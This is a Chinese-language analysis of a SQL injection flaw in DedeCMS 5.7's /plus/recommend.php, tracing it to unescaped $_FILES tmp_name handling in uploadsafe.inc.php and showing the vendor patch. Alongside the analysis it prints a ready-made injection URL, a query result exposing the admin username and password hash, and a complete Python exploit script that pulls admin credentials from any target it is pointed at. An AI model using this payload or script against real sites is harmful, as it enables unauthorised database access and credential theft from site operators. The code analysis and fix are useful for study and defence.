1. 程式人生 > >[分析]-DedeCMS全版本通殺SQL注入漏洞

[分析]-DedeCMS全版本通殺SQL注入漏洞

[利用]: http://p2j.cn/?p=798
[補丁]: http://www.dedecms.com/pl/#u20140228_5

---------------------------------------------------------------------------------------------------------------------

網路上公佈的原始poc格式如下:

http://127.0.0.1/dedecms5.7/plus/recommend.php?&aid=1&_FILES[type][tmp_name]=\%27%20%20or%[email protected]

%60\%27%60%20/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%[email protected]__admin%60%20limit+0,1%29,5,6,7,8,9%[email protected]%60\%27%60+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

注入成功,等效於執行下面程式碼:

mysql> SELECT s.*,t.* FROM 
    -> `dede_member_stow` AS s LEFT JOIN 
    -> `dede_member_stowtype` AS t ON s.type=t.stowname 
    -> WHERE s.aid='1' 
    -> AND s.type='\\' or 
[email protected]
`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '; -> ; +----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+ | id | mid | aid | title | addtime | type | stowname | indexname | indexurl | +----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+ | 1 | 2 | 3 | |admin|f297a57a5a743894a0e4 | 5 | 6 | 7 | 8 | 9 | +----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+ 1 row in set (0.01 sec)

/*!50000union*/  表示若mysql版本高於5.0.0,則執行union操作.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

下面分析以引起問題的原始碼,./include/uploadsafe.inc.php

<?php

if(!defined('DEDEINC')) exit('Request Error!');
if(isset($_FILES['GLOBALS'])) exit('Request not allow!');


//為了防止使用者通過注入的可能性改動了資料庫
//這裡強制限定的某些檔案型別禁止上傳

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
$keyarr = array('name', 'type', 'tmp_name', 'size');

if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))
{
    $_FILES['imgfile'] = $_FILES['upload'];
    $CKUpload = TRUE;
    unset($_FILES['upload']);
}

foreach($_FILES as $_key=>$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit('Request Error!');
        }
    }

    if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
    {
        exit('Request var not allow for uploadsafe!');
    }

    // DedeCMS全版本通殺SQL注入 
    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
    // ----- 修復後, 如下: -----
    // $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }

    if(empty(${$_key.'_size'}))
    {
        ${$_key.'_size'} = @filesize($$_key);
    }


    $imtypes = array
    (
        "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
        "image/xpng", "image/wbmp", "image/bmp"
    );


    if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
        $image_dd = @getimagesize($$_key);
        if (!is_array($image_dd))
        {
            exit('Upload filetype not allow !');
        }
    }
}

?>

$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); 配合./include/common.inc.php引發問題, 
//轉換上傳的檔案相關的變數及安全處理、並引用前臺通用的上傳函式
if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}
common.inc.php 定義函式_RunMagicQuotes ,foreach(Array('_GET','_POST','_COOKIE') as $_request) 處_RunMagicQuotes被呼叫,如下所示
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}


if (!defined('DEDEREQUEST')) 
{
    //檢查和註冊外部提交的變數   (2011.8.10 修改登入時相關過濾)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k); 
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }
    

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
	CheckRequest($_COOKIE);


    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) 
		{
			if($_k == 'nvarname') ${$_k} = $_v;
			else ${$_k} = _RunMagicQuotes($_v);
		}
    }
}


$_GET, $_POST,$_COOKIE 傳入的資料會被 _RunMagicQuotes 檢查,_RunMagicQuotes 檢查時, 未處理$_FILES,傳入帶引號的資料 ,引發注入問題.
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
// ----- 修復後, 如下: -----
// $$_key = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

需要傳入的引數有_FILES[type]['tmpname'], _FILES[type]['name'], _FILES[type]['type'], _FILES[type]['size'], 構造完成後,如上所示.


+++++++++++++++++++++++++++++++++++++++++++++++++++++

python - POC 利用程式如下:

#!/usr/bin/env python

import urllib2
import re
import sys

def banner():

    print >>sys.stderr,'\n++++++++++++++++++++++++++++++++++++++++++++++++++++++'
    print >>sys.stderr,'[POC]  : DedeCMS 5.7 /plus/recommend.php SQL Injection'
    print >>sys.stderr,'[URL]  : http://sebug.net/vuldb/ssvid-61660'
    print >>sys.stderr,'[patch]: http://www.dedecms.com/pl/#u20140228_5'
    print >>sys.stderr,'[Usage]: %s http://path/to/dederoot/' % sys.argv[0]
    print >>sys.stderr,'++++++++++++++++++++++++++++++++++++++++++++++++++++++'

def sqli_exp(url):

        poc = [
    "/plus/recommend.php?",
    "&aid=1",
    "&_FILES[type][tmp_name]=",
    "\%27%20%20or%[email protected]%60\%27%60%20",
    "/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd,0x7c%29+from+%60%[email protected]__admin%60%20limit+0,1",
    "%29,5,6,7,8,9%[email protected]%60\%27%60+",
    "&_FILES[type][name]=1.jpg",
    "&_FILES[type][type]=application/octet-stream",
    "&_FILES[type][size]=111"
    ]
    url += "".join(poc)
    req = urllib2.urlopen(url,data=None, timeout=7)
    response = req.read()
    matches = re.search(r'<h2>\xe6\x8e\xa8\xe8\x8d\x90\xef\xbc\x9a|(.*)</h2>', response, re.M|re.I)    
    if ("SRE_Match" in str(type(matches))):
        data = matches.group().split('|')
        user = data[1]
        pwd  = data[2]
        print "user: %s \npass: %s \n" % (user, pwd)

if __name__ == '__main__':

    banner()

    if len(sys.argv) == 2:
        print >>sys.stderr,"[+] exploit - %s" % sys.argv[1] 
        sqli_exp(sys.argv[1])


+++++++++++++++++++++++++++++++++++++++++++++++++++++

http://loudong.360.cn/blog/view/id/17
http://www.freebuf.com/tools/27206.html